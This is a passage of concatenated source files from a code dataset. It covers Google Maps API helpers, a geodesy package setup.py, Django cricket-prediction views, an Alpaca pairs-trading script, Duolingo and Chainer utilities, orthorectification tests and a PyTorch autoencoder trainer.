requests.get(f'https://maps.googleapis.com/maps/api/elevation/json?locations={result[0][\"geometry\"][\"location\"][\"lat\"]},{result[0][\"geometry\"][\"location\"][\"lng\"]}&key={config.key}').json() # noqa: E501\n result_value = json['results'][0]['elevation']\n position = \"above\" if result_value > 0 else \"below\"\n print(f'{search_location} is {round(result_value,2)} metres {position} sea level')\n return result_value\n\n@logger_config.logger\ndef places(search_location):\n address = search_location\n json = requests.get(f'{BASE_URL[\"places_textsearch\"]}={address.lower().replace(\" \", \"+\")}&inputtype=textquery&fields=photos,formatted_address,place_id&key={config.key}').json() # noqa: E501\n logging.debug(\"Address:\"+json[\"candidates\"][0][\"formatted_address\"])\n details = requests.get(f'{BASE_URL[\"places_details\"]}={json[\"candidates\"][0][\"place_id\"]}&fields=rating,formatted_phone_number&key={config.key}').json() # noqa: E501\n logging.debug(\"Rating:\"+str(details[\"result\"][\"rating\"]))\n logging.debug(\"Phone:\"+details[\"result\"][\"formatted_phone_number\"])\n photo = f'{BASE_URL[\"places_photos\"]}={json[\"candidates\"][0][\"photos\"][0][\"photo_reference\"]}&key={config.key}' # noqa: E501\n webbrowser.open_new(photo)\n","sub_path":"googleMapsApiModule.py","file_name":"googleMapsApiModule.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"114907458","text":"\"\"\"\nSetup script for the kvikler package.\n\"\"\"\n\nimport os\nimport subprocess\nfrom setuptools import setup\n\nimport kvikler\n\ndef readme():\n \"\"\"\n Return a properly formatted readme text that can be used as the long\n description for setuptools.setup.\n \"\"\"\n # This will fail if pandoc is not in system path.\n try:\n subprocess.call(['pandoc', 'readme.md', '--from', 'markdown', '--to', 'rst', '-s', '-o', 'readme.rst'])\n with open('readme.rst') as f:\n readme = f.read()\n os.remove('readme.rst')\n return readme\n except:\n return 'Geodetic database system for storarge of information on levelling observations and points.'\n\nsetup(\n name='kvikler',\n version=kvikler.__version__,\n description='Geodetic database system for storarge of information on levelling observations and points.',\n long_description=readme(),\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: ISC License (ISCL)',\n 'Topic :: Scientific/Engineering :: GIS',\n 'Topic :: Utilities'\n ],\n packages=['kvikler', 'kvikler.kvik'],\n entry_points = '''\n [console_scripts]\n kvik=kvikler.kvik.main:kvik\n\n [kvikler.kvik_commands]\n admin=kvikler.kvik.admin:admin\n kmsfile=kvikler.kvik.kmsfile:kmsfile\n gama=kvikler.kvik.gama:gama\n ''',\n keywords='levelling database geodesy',\n url='https://github.com/Kortforsyningen/kvikler',\n author='Kristian Evers',\n author_email='kreve@sdfe.dk',\n license='ISC',\n py_modules=['kvikler'],\n test_suite='nose.collector',\n tests_require=['nose'],\n install_requires=[\n 'click',\n 'click_plugins',\n 'sqlalchemy',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"442869512","text":"import dataclasses\nimport typing as typ\nfrom astropy import units as u\nfrom kgpy.optics import system\nfrom kgpy.optics.zemax import ZOSAPI\nfrom . import material\n\n__all__ = ['Mirror']\n\n\n@dataclasses.dataclass\nclass Mirror(material.Material, system.surface.material.Mirror):\n string: typ.ClassVar[str] = 'MIRROR'\n\n def _update(self) -> typ.NoReturn:\n super()._update()\n self.thickness = self.thickness\n\n @property\n def thickness(self) -> u.Quantity:\n return self._thickness\n\n @thickness.setter\n def thickness(self, value: u.Quantity):\n self._thickness = value\n try:\n self._composite._lde_row.DrawData.MirrorThickness = value.to(self._composite._lens_units).value\n self._composite._lde_row.DrawData.MirrorSubstrate = ZOSAPI.Editors.LDE.SubstrateType.Flat\n except AttributeError:\n pass\n","sub_path":"kgpy/optics/zemax/system/surface/material/mirror.py","file_name":"mirror.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"272695458","text":"from django.shortcuts import render\nimport joblib\nimport sys\nimport time\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas\n\n\ndef news(request):\n\n try:\n page=requests.get('https://www.cricbuzz.com/')\n\n except Exception as e:\n error_type, error_obj, error_info = sys.exc_info()\n print('ERROR FOR LINK:',url)\n print(error_type,'Line:',error_info.tb_lineno)\n time.sleep(2)\n soup=BeautifulSoup(page.text,'html.parser')\n links=soup.find_all('div',attrs={'class':'cb-nws-intr'})\n news = []\n for x in links:\n news.append(x.text)\n\n return render(request,'predictions/news.html',{'news':news})\n\n# Create your views here.\ndef index(request):\n return render(request,'predictions/index.html')\n\ndef home(request):\n return render(request,'predictions/home.html')\ndef test(request):\n return render(request,'predictions/test.html')\n\ndef result(request):\n cls = joblib.load('finalize_model.sav')\n\n lis = []\n\n T1 = request.GET['Team1']\n # if T1 == 'Mumbai Indians':\n d1 = {'Sunrisers Hyderabad':13,'Mumbai Indians':8,'Delhi Capitals':2,'Chennai Super Kings':0,'Kolkata Knight Riders':7,'Royal Challengers Bangalore':12,'Kings XI Punjab':5,'Rajasthan Royals':10,}\n\n d2 = {'Mumbai':1,'Rajkot':2,'Indore':3,'Bangalore':4,'Kolkata':5,'Delhi':6,'Mohali':7,'Kanpur':8,'Pune':9,'Jaipur':10,'Chennai':11,'Cape Town':12,'Port Elizabeth':13,'Durban':14,'Centurian':15,'Eastern Cape':16,'Johannesburg':17,'Northern Cape':18,'Bloemfont':19,'Ahmedabad':20,'Cuttack':21,'Jamtha':22,'Dharamshala':23,'Visakhapatnam':24,'Raipur':25,'Ranchi':26,'Abu Dhabi':27,'Sharjah':28,'Dubai':29,'Hyderabad':0}\n\n d3={'Sunrisers Hyderabad':'img/srh.png','Mumbai Indians':'img/mi.jpg','Delhi Capitals':'img/dc.png','Chennai Super Kings':'img/csk.png','Kolkata Knight Riders':'img/kkr.jpg','Royal Challengers Bangalore':'rcb.png','Kings XI Punjab':'img/kxip.png','Rajasthan Royals':'img/rr.png',}\n Team1=request.GET['Team1']\n for x in d1.items():\n if x[0] == Team1:\n lis.append(x[1])\n\n\n Team2=request.GET['Team2']\n for x in d1.items():\n if x[0] == Team2:\n lis.append(x[1])\n\n\n # if Team1 == Team2:\n # raise Exception(\"Both Teams can't be same!!\")\n\n Toss_Winner = request.GET['Toss_Winner']\n if Toss_Winner == 'Team1':\n lis.append(0.0)\n Toss_Winner=Team1\n\n else:\n lis.append(1.0)\n Toss_Winner=Team2\n\n\n Team_batting_First = request.GET['Team_batting_First']\n if Team_batting_First == 'Team1':\n lis.append(0)\n # lis2.append(Team1)\n Team_batting_First=Team1\n else:\n lis.append(1)\n # lis2.append(Team2)\n Team_batting_First=Team2\n\n Venue = request.GET['Venue']\n for x in d2.items():\n if x[0] == Venue:\n lis.append(x[1])\n # lis2[Venue] = Venue\n\n # lis.append(request.GET['Team1'])\n # lis.append(request.GET['Team2'])\n # lis.append(request.GET['Team_batting_First'])\n # lis.append(request.GET['Toss_Winner'])\n # lis.append(request.GET['Venue'])\n\n\n print(lis)\n\n ans = cls.predict([lis])\n if ans == 0.:\n winner = Team1\n else:\n winner = Team2\n #\n for x in d3.items():\n if x[0] == winner:\n link=str(x[1])\n\n lis2={'Team1':Team1,'Team2':Team2,'Toss_Winner':Toss_Winner,'Team_batting_First':Team_batting_First,'Venue':Venue,'link':link}\n return render(request,'predictions/results.html',{'winner':winner,'lis2':lis2})\n","sub_path":"IPL/predictions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"42641390","text":"import alpaca_trade_api as tradeapi\n\napi = tradeapi.REST(key_id=\"YOURKEY\",\n secret_key=\"YOURSECRET\")\nbarset = api.get_barset('GOOG', 'day', limit=252)\n\n# Augemented Dickey-Fuller Test\nfrom statsmodels.tsa.stattools import adfuller\nr = adfuller(barset.df[('GOOG', 'close')].values)\n\nprint(f'ADF Statistic: {r[0]:.2f}')\nfor k,v in r[4].items():\n print (f'{k}: {v:.2f}')\n\n# Cointegrated Augmented Dickey-Fuller Test\nhd = api.get_barset('HD', 'day', limit=252)\nlow = api.get_barset('LOW', 'day', limit=252)\n\n## Plot the two price series\nimport matplotlib.pyplot as plt\nplt.plot(hd.df[('HD','close')], c='red', label='HD')\nplt.plot(low.df[('LOW','close')], c='blue', label='LOW')\nplt.legend()\nplt.show()\n\n## Hedge Ratio\n### Align Indicies\ni = hd.df.index.join(low.df.index, how='inner')\nhddf = hd.df[('HD','close')].loc[i]\nlowdf = low.df[('LOW','close')].loc[i]\n\n### Calculate Hedge Ratio\nimport statsmodels.api as sm\nmodel = sm.OLS(hddf[:126], lowdf[:126])\nmodel = model.fit()\nhedge_ratio = model.params[0]\nprint(f'Hedge Ratio: {hedge_ratio:.2f}')\n\n### Plot Scatter\nplt.scatter(hd.df[('HD','close')][126:], low.df[('LOW','close')][126:])\nplt.xlabel('Home Depot')\nplt.ylabel('Lowes')\nplt.show()\n\n### Determine Spread\n### Notice we're avoiding look-ahead bias by not using data\n### that was used to calculate the hedge ratio\nspread = hddf[:126] - hedge_ratio * lowdf[:126]\nspread.plot()\nplt.show()\n\n### Determine Spread Stationarity\n# determine stationarity\nr = adfuller(spread)\nprint(f'ADF Statistic: {r[0]:.2f}')\nfor k,v in r[4].items():\n print (f'{k}: {v:.2f}')\n","sub_path":"alpaca/statistically-significant/statarb_part_one.py","file_name":"statarb_part_one.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"117678316","text":"from graph_ssl.datasets import MNISTDataReader, Separator\nfrom graph_ssl.models import GraphSSLMLPModel\nfrom graph_ssl.utils import to_device\nimport os\nfrom chainer import optimizers\nimport numpy as np\nimport sys\nimport time\nimport chainer.functions as F\n\ndef main():\n # Settings\n device = int(sys.argv[1]) if len(sys.argv) > 1 else None\n batch_size = 512\n inp_dim = 784\n out_dim = n_cls = 10\n n_l_train_data = 100\n n_train_data = 60000\n\n dims = [inp_dim, 1000, 500, 250, 250, 250, out_dim]\n lambdas = to_device(np.array([1., 1.], np.float32), device)\n learning_rate = 1. * 1e-3\n n_epoch = 200\n decay = 0.5\n act = F.tanh\n iter_epoch = n_train_data / batch_size\n n_iter = n_epoch * iter_epoch\n\n # Separate dataset\n home = os.environ.get(\"HOME\")\n fpath = os.path.join(home, \"datasets/mnist/train.npz\")\n separator = Separator(n_l_train_data)\n separator.separate_then_save(fpath)\n\n l_train_path = os.path.join(home, \"datasets/mnist/l_train.npz\")\n u_train_path = os.path.join(home, \"datasets/mnist/train.npz\")\n test_path = os.path.join(home, \"datasets/mnist/test.npz\")\n\n # DataReader, Model, Optimizer\n data_reader = MNISTDataReader(l_train_path, u_train_path, test_path,\n batch_size=batch_size,\n n_cls=n_cls)\n model = GraphSSLMLPModel(dims, batch_size, act, decay, lambdas, device)\n model.to_gpu(device) if device else None\n optimizer = optimizers.Adam(learning_rate)\n optimizer.use_cleargrads()\n optimizer.setup(model)\n\n # Training loop\n print(\"# Training loop\")\n epoch = 1\n st = time.time()\n for i in range(n_iter):\n\n # Get data\n x_l, y_l = [to_device(x, device) for x in data_reader.get_l_train_batch()]\n x_u, _ = [to_device(x, device) for x in data_reader.get_u_train_batch()]\n x_u_0 = x_u_1 = x_u\n\n # Train one-step\n model.zerograds()\n loss = model(x_l, y_l, x_u_0, x_u_1)\n loss.backward()\n optimizer.update()\n\n # Eval\n if (i+1) % iter_epoch == 0:\n print(\"Evaluation at {}-th epoch\".format(epoch))\n\n # Get data, go to test mode, eval, revert to train mode over all samples\n x_l, y_l = [to_device(x, device) for x in data_reader.get_test_batch()]\n\n model.classifier.noisy = False\n model.classifier.test = True\n model.sloss(x_l, y_l) # noisy and test are automatically changed in trainig\n \n # Report\n sloss = model.sloss.loss\n gloss = model.gloss.loss\n acc = model.sloss.accuracy\n print(\"SLoss:{},GLoss:{},Accuracy:{},Time/epoch:{}[s]\".format(\n to_device(sloss.data), to_device(gloss.data),\n to_device(acc.data) * 100, time.time() - st))\n \n epoch +=1\n st = time.time()\n \nif __name__ == '__main__':\n main()\n","sub_path":"graph_ssl/experiments/mnist/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"115600707","text":"import pendulum\nimport requests\n\nfrom .base_loader import BaseLoader\nfrom .config import DUOLINGO_CALENDAR_API\n\n\nclass DuolingoLoader(BaseLoader):\n def __init__(self, from_year, to_year, **kwargs):\n super().__init__()\n self.from_year = from_year\n self.to_year = to_year\n self.user_name = kwargs.get(\"duolingo_user_name\", \"\")\n self._make_years_list()\n\n def get_api_data(self):\n month_list = self.make_month_list()\n data_list = []\n for m in month_list:\n r = requests.get(\n DUOLINGO_CALENDAR_API.format(\n user_id=self.user_name,\n start_date=m.to_date_string(),\n end_date=m.end_of(\"month\").to_date_string(),\n )\n )\n if not r.ok:\n print(f\"get duolingo calendar api failed {str(r.text)}\")\n try:\n data_list.extend(r.json()[\"summaries\"])\n except:\n # just pass for now\n pass\n return data_list\n\n def make_track_dict(self):\n data_list = self.get_api_data()\n for d in data_list:\n date_str = pendulum.from_timestamp(d[\"date\"]).to_date_string()\n number = d[\"gainedXp\"]\n if number:\n self.number_by_date_dict[date_str] = number\n self.number_list.append(number)\n\n def get_all_track_data(self):\n self.make_track_dict()\n self.make_special_number()\n return self.number_by_date_dict, self.year_list\n","sub_path":"loader/duolingo_loader.py","file_name":"duolingo_loader.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"403416414","text":"from django import forms\nfrom django_countries.fields import CountryField\nfrom django_countries.widgets import CountrySelectWidget\n\n\nclass CheckoutForm(forms.Form):\n street_addres = forms.CharField(widget=forms.TextInput(attrs={\n 'placeholder': ''\n }))\n apartment_address = forms.CharField(required=False, widget=forms.TextInput(\n attrs={\n 'placeholder': ''\n }))\n country = CountryField(blank_label='(select country)').formfield(\n widget=CountrySelectWidget(attrs={\n 'class': 'custom-select d-block w-100'\n }))\n zip = forms.CharField(widget=forms.TextInput(attrs={\n 'class': 'form-control'\n }))\n same_shipping_address = forms.BooleanField(required=False)\n save_info = forms.BooleanField(required=False)\n","sub_path":"checkout/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"448241710","text":"# -*- coding: utf-8 -*-\n\n\"\"\" Sorting form aware widget\"\"\"\n\nfrom eea.facetednavigation.widgets.sorting.interfaces import ISortingSchema\nfrom eea.facetednavigation.widgets.sorting.widget import Widget\n\n\nclass ISortingFormAwareSchema(ISortingSchema):\n \"\"\" \"\"\"\n\n\nclass SortingFormAwareAbstractWidget(Widget):\n \"\"\" Override the sorting widget so it can handle sorting data from the form.\n By default, if the sorting criteria is hidden, it is not possible to use sorting,\n it will only sort using the default sorting method defined. Here if we pass\n relevant data in the form (widget id and value), it works. This is made so header columns\n can use sorting.\n \"\"\"\n\n def query(self, form):\n \"\"\" Get value from form and return a catalog dict query\n \"\"\"\n query = {}\n\n # XXX changed by collective.eeafaceted.z3ctable\n # added the ' and not self.data.getId() in form' part\n if self.hidden and not self.data.getId() in form:\n default = self.default\n sort_on = len(default) > 0 and default[0] or None\n reverse = len(default) > 1 and default[1] or False\n # XXX changed by collective.eeafaceted.z3ctable\n # save info in the request.form so method query\n # of collectionwidget may use it and not add\n # the sort_on from the collection\n if sort_on:\n self.request.form[self.data.__name__ + '[]'] = sort_on\n self.request.form['reversed'] = reverse\n else:\n sort_on = form.get(self.data.getId(), '')\n reverse = form.get('reversed', False)\n\n if sort_on:\n query['sort_on'] = sort_on\n\n if reverse:\n query['sort_order'] = 'descending'\n else:\n query['sort_order'] = 'ascending'\n\n return query\n","sub_path":"src/collective/eeafaceted/z3ctable/browser/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"396801920","text":"\"\"\"\n Copyright 2021 Dugal Harris - dugalh@gmail.com\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nimport glob\nimport os\nimport pathlib\nimport unittest\n\nimport numpy as np\nimport rasterio as rio\nimport yaml\nfrom rasterio import windows\nfrom shapely.geometry import box\n\nfrom simple_ortho import root_path, command_line\n\n\nclass TestCommandLine(unittest.TestCase):\n def test_ortho_im(self):\n \"\"\"\n Test ortho_im script on images in data/inputs/test_example\n \"\"\"\n\n # construct script args to orthorectify images in data/inputs/test_example\n args = dict(src_im_file=[str(root_path.joinpath('data/inputs/test_example/*_RGB.tif'))],\n dem_file=str(root_path.joinpath('data/inputs/test_example/dem.tif')),\n pos_ori_file=str(root_path.joinpath('data/inputs/test_example/camera_pos_ori.txt')),\n read_conf=str(root_path.joinpath('data/inputs/test_example/config.yaml')),\n ortho_dir=str(root_path.joinpath('data/outputs/test_example')), verbosity=2, write_conf=None)\n\n # delete the ortho files if they exist\n ortho_im_wildcard = str(root_path.joinpath('data/outputs/test_example/*_ORTHO.tif'))\n for ortho_im_filename in glob.glob(ortho_im_wildcard):\n os.remove(ortho_im_filename)\n\n # run the script\n command_line.main(**args)\n try:\n # check there are the same number of ortho files as source files\n self.assertEqual(len(glob.glob(args['src_im_file'][0])), len(glob.glob(ortho_im_wildcard)),\n msg='Number of ortho files == number of source files')\n\n # load the config so we know nodata\n with open(root_path.joinpath('data/inputs/test_example/config.yaml')) as config_f:\n config = yaml.safe_load(config_f)\n nodata = config['ortho']['nodata']\n\n # compare source and ortho files to check their means are similar and they overlap\n for src_im_filename, ortho_im_filename in zip(glob.glob(args['src_im_file'][0]),\n glob.glob(ortho_im_wildcard)):\n with rio.open(src_im_filename, 'r', num_threads='all_cpus') as src_im:\n src_array = src_im.read(1)\n with rio.open(ortho_im_filename, 'r', num_threads='all_cpus') as ortho_im:\n ortho_array = ortho_im.read(1)\n ortho_array_masked = ortho_array[ortho_array != nodata]\n\n # compare source and ortho means\n self.assertAlmostEqual(ortho_array_masked.mean() / 10, src_array.mean() / 10, places=0,\n msg='Ortho and source means in same order of magnitude')\n\n # compare source and ortho bounds\n self.assertTrue(not rio.coords.disjoint_bounds(src_im.bounds, ortho_im.bounds),\n msg='Ortho and source bounds overlap')\n\n # check overlapping regions between pairwise combinations of ortho-images are roughly similar\n ortho_im_list = glob.glob(ortho_im_wildcard)\n for ortho_i1, ortho_im_filename1 in enumerate(ortho_im_list):\n for ortho_im_filename2 in ortho_im_list[ortho_i1 + 1:]:\n with rio.open(ortho_im_filename1, 'r', num_threads='all_cpus') as ortho_im1, \\\n rio.open(ortho_im_filename2, 'r', num_threads='all_cpus') as ortho_im2:\n\n box1 = box(*ortho_im1.bounds)\n box2 = box(*ortho_im2.bounds)\n\n if box1.intersects(box2): # the images overlap\n common_geom = box1.intersection(box2)\n\n # find windows for the overlap area in each image and read\n win1 = windows.from_bounds(*common_geom.bounds, transform=ortho_im1.transform)\n win2 = windows.from_bounds(*common_geom.bounds, transform=ortho_im2.transform)\n ortho_data1 = ortho_im1.read(1, window=win1)\n ortho_data2 = ortho_im2.read(1, window=win2)\n\n # common valid data mask\n common_mask = (ortho_im1.read_masks(1, window=win1) &\n ortho_im2.read_masks(1, window=win2)).astype(bool, copy=False)\n\n # find R2 corr coefficient between the valid data in the overlapping image regions\n c = np.corrcoef(ortho_data1[common_mask], ortho_data2[common_mask])\n ortho_im_filestem1 = pathlib.Path(ortho_im_filename1).stem\n ortho_im_filestem2 = pathlib.Path(ortho_im_filename2).stem\n\n print(f'Overlap similarity of {ortho_im_filestem1} and {ortho_im_filestem2}: {c[0, 1]:.4f}')\n self.assertTrue(c[0, 1] > 0.5,\n msg=f'Overlap similarity of {ortho_im_filestem1} and {ortho_im_filestem2}')\n\n finally:\n pass # leave the ortho images in the outputs dir so they can be manually checked if necessary\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_command_line.py","file_name":"test_command_line.py","file_ext":"py","file_size_in_byte":5870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"481705902","text":"def trainautoencoder_113_relu(layer, set):\n import warnings\n warnings.filterwarnings(\"ignore\")\n import numpy as np\n import time\n import torch\n from torch import nn\n from torch.utils.data import DataLoader\n from autoencoder_113_relu import autoencoder\n from sklearn.linear_model import LogisticRegression\n from sklearn.naive_bayes import GaussianNB\n import matplotlib as mpl\n mpl.use('Agg')\n import matplotlib.pyplot as plt\n import copy\n\n batch_size = 8192\n learning_rate = 1e-3\n\n datapath = '../../data/all/all_IO_noleave_' + set + '.npz'\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n n_print = 100\n\n model = autoencoder(layer).to(device)\n criterion = nn.BCELoss().to(device)\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=1e-5)\n\n print('Loading ' + datapath + ' on ' + device.type)\n dataset = np.load(datapath)\n TrainX = np.asarray(np.asmatrix(dataset['TrainX'])[0, 0].astype(np.float32).todense())\n m_train = TrainX.shape[0]\n ValidX = np.asarray(np.asmatrix(dataset['ValidX'])[0, 0].astype(np.float32).todense())\n m_valid = ValidX.shape[0]\n TestX = np.asarray(np.asmatrix(dataset['TestX'])[0, 0].astype(np.float32).todense())\n m_test = TestX.shape[0]\n\n # w_train = np.ones(TrainX.shape)\n # l_train = np.where(TrainX)\n # w_train[l_train[0], l_train[1]] = 21.6\n # w_valid = np.ones(ValidX.shape)\n # l_valid = np.where(ValidX)\n # w_valid[l_valid[0], l_valid[1]] = 21.6\n # w_test = np.ones(TestX.shape)\n # l_test = np.where(TestX)\n # w_test[l_test[0], l_test[1]] = 21.6\n\n # print('Converting dataset matrices to torch tensors...')\n n = TrainX.shape[1]\n\n TrainXae = torch.from_numpy(np.vstack((TrainX[:, :int(n / 2)], TrainX[:, int(n / 2):]))).to(device)\n # del TrainX\n dataloader_train = DataLoader(TrainXae, batch_size=batch_size, shuffle=True)\n\n ValidXae = torch.from_numpy(np.vstack((ValidX[:, :int(n / 2)], ValidX[:, int(n / 2):]))).to(device)\n # del ValidX\n dataloader_valid = DataLoader(ValidXae, batch_size=batch_size, shuffle=False)\n\n TestXae = torch.from_numpy(np.vstack((TestX[:, :int(n / 2)], TestX[:, int(n / 2):]))).to(device)\n # del TestX\n\n if len(layer) == 3:\n nodenum = '{}-{}-{}'.format(layer[0], layer[1], layer[2])\n elif len(layer) == 4:\n nodenum = '{}-{}-{}-{}'.format(layer[0], layer[1], layer[2], layer[3])\n elif len(layer) == 6:\n nodenum = '{}-{}-{}-{}-{}-{}'.format(layer[0], layer[1], layer[2], layer[3], layer[4], layer[5])\n elif len(layer) == 10:\n nodenum = '{}-{}-{}-{}-{}-{}-{}-{}-{}-{}'.format(layer[0], layer[1], layer[2], layer[3], layer[4], layer[5], layer[6], layer[7], layer[8], layer[9])\n\n print('Training ReLu AutoEncoder of {}. Training set size:{}, batch size:{}'.format(nodenum, TrainXae.shape[0], batch_size))\n\n loss_opt = 1\n epoch_opt = 0\n model_state_dict_opt = model.state_dict()\n\n notoverfitting = True\n epochs = 0\n loss_train = np.zeros((0, 1))\n loss_valid = np.zeros((0, 1))\n\n while notoverfitting:\n start = time.time()\n i = 0\n loss_sum = 0\n for data in dataloader_train:\n i += 1\n _, recon = model(data)\n w = np.ones(data.shape).astype(np.float32)\n lw = np.where(data)\n w[lw[0],lw[1]] = 21.6\n wt = torch.from_numpy(w).to(device)\n criterion.weight = wt\n loss = criterion(recon, data)\n loss_sum = loss_sum + loss.item()\n # ===================backward====================\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # ===================log========================\n loss_train = np.vstack((loss_train, loss_sum/i))\n\n i = 0\n loss_sum = 0\n for data in dataloader_valid:\n i += 1\n _, recon = model(data)\n w = np.ones(data.shape).astype(np.float32)\n lw = np.where(data)\n w[lw[0], lw[1]] = 21.6\n wt = torch.from_numpy(w).to(device)\n criterion.weight = wt\n loss_sum = loss_sum + criterion(recon, data).item()\n loss_valid = np.vstack((loss_valid, loss_sum/i))\n\n end = time.time()\n\n if loss_valid[-1, 0] < loss_opt:\n loss_opt = loss_valid[-1, 0]\n epoch_opt = epochs\n model_state_dict_opt = copy.deepcopy(model.state_dict())\n\n if epochs % n_print == 0:\n print(\n 'Finished epoch {}, time {:.2f}s. Training loss:{:.4f}, Validation loss:{:.4f}'.format(\n epochs, end - start, loss_train[-1, 0], loss_valid[-1, 0]))\n print('Comparing Reconstructed Draft with Actual Draft')\n recon = recon.cpu().data.numpy()\n l1 = np.where(data[0, :])\n print('heros {}'.format(l1[0]))\n print('Empty Positions:')\n print(recon[0, l1[0] + 2])\n print(data[0, l1[0] + 2])\n print('Hero Positions:')\n print(recon[0, l1])\n print(data[0, l1])\n\n ############################\n # For test purpose only: short termination\n # if epochs > 2:\n # notoverfitting = False\n ############################\n # run at least 100 epoch after the optimal model\n if epochs > 100 + epoch_opt:\n if loss_valid[-1, 0] > 1.2*loss_opt:\n notoverfitting = False\n\n if epochs > 2000:\n notoverfitting = False\n\n epochs = epochs + 1\n\n print('Training overfits at epoch {}; optimal model occurred at epoch {} with validation loss {:.4f}'.format(\n epochs - 1, epoch_opt, loss_opt))\n\n # Commented out for testing purpose\n # x = np.arange(0, epochs)\n # fig = plt.figure()\n # plt.plot(x, loss_train, 'g', x, loss_valid, 'b')\n # plt.legend(('Training Loss', 'Validation Loss'))\n # plt.title('AE of layer {} on {} data, optimal validation loss {:.4f}'.format(nodenum, set, loss_opt))\n # plt.xlabel('Training Epochs')\n # plt.ylabel('Reconstruction Cross Entropy Loss')\n # plt.grid(True)\n # fig.savefig('AutoEncoder_{}_all_IO_noleave_{}.jpg'.format(nodenum, set))\n\n print('Encoding Train/Valid/Test sets...')\n\n dataloader_train = DataLoader(TrainXae, batch_size=batch_size, shuffle=False)\n dataloader_valid = DataLoader(ValidXae, batch_size=batch_size, shuffle=False)\n dataloader_test = DataLoader(TestXae, batch_size=batch_size, shuffle=False)\n\n encode_train = np.zeros((0, layer[-1]))\n encode_valid = np.zeros((0, layer[-1]))\n encode_test = np.zeros((0, layer[-1]))\n recon_train = np.zeros((0, int(n / 2)))\n recon_valid = np.zeros((0, int(n / 2)))\n recon_test = np.zeros((0, int(n / 2)))\n\n model_opt = autoencoder(layer).to(device)\n model_opt.load_state_dict(model_state_dict_opt)\n\n i = 0\n loss_train = 0\n for data in dataloader_train:\n i += 1\n encode, recon = model_opt(data)\n w = np.ones(data.shape).astype(np.float32)\n lw = np.where(data)\n w[lw[0], lw[1]] = 21.6\n wt = torch.from_numpy(w).to(device)\n criterion.weight = wt\n encode_train = np.vstack((encode_train, encode.cpu().data.numpy()))\n recon_train = np.vstack((recon_train, recon.cpu().data.numpy()))\n loss_train = loss_train + criterion(recon, data).item()\n encode_train = np.hstack((encode_train[:m_train, :], encode_train[m_train:, :]))\n recon_train = np.hstack((recon_train[:m_train, :], recon_train[m_train:, :]))\n loss_train = loss_train / i\n\n i = 0\n loss_valid = 0\n for data in dataloader_valid:\n i += 1\n encode, recon = model_opt(data)\n w = np.ones(data.shape).astype(np.float32)\n lw = np.where(data)\n w[lw[0], lw[1]] = 21.6\n wt = torch.from_numpy(w).to(device)\n criterion.weight = wt\n encode_valid = np.vstack((encode_valid, encode.cpu().data.numpy()))\n recon_valid = np.vstack((recon_valid, recon.cpu().data.numpy()))\n loss_valid = loss_valid + criterion(recon, data).item()\n encode_valid = np.hstack((encode_valid[:m_valid, :], encode_valid[m_valid:, :]))\n recon_valid = np.hstack((recon_valid[:m_valid, :], recon_valid[m_valid:, :]))\n loss_valid = loss_valid / i\n\n i = 0\n loss_test = 0\n for data in dataloader_test:\n i += 1\n encode, recon = model_opt(data)\n w = np.ones(data.shape).astype(np.float32)\n lw = np.where(data)\n w[lw[0], lw[1]] = 21.6\n wt = torch.from_numpy(w).to(device)\n criterion.weight = wt\n encode_test = np.vstack((encode_test, encode.cpu().data.numpy()))\n recon_test = np.vstack((recon_test, recon.cpu().data.numpy()))\n loss_test = loss_test + criterion(recon, data).item()\n encode_test = np.hstack((encode_test[:m_test, :], encode_test[m_test:, :]))\n recon_test = np.hstack((recon_test[:m_test, :], recon_test[m_test:, :]))\n loss_test = loss_test / i\n\n print('On {} dataset, optimal {} AutoEncoder T/V/T loss: {:.4f}/{:.4f}/{:.4f}'.format(set, nodenum, loss_train,\n loss_valid, loss_test))\n\n TrainY = np.asarray(np.asmatrix(dataset['TrainY'])[0, 0].todense())\n ValidY = np.asarray(np.asmatrix(dataset['ValidY'])[0, 0].todense())\n TestY = np.asarray(np.asmatrix(dataset['TestY'])[0, 0].todense())\n\n print('Comparing Reconstructed Draft with Actual Draft')\n g1=1\n g2=10\n\n l1 = np.where(TrainX[g1, :])\n print('Game {}, heros {}'.format(g1 + 1, l1[0]))\n print('Empty Positions:')\n print(recon_train[g1, l1[0] + 2])\n print(TrainX[g1, l1[0] + 2])\n print('Hero Positions:')\n print(recon_train[g1, l1])\n 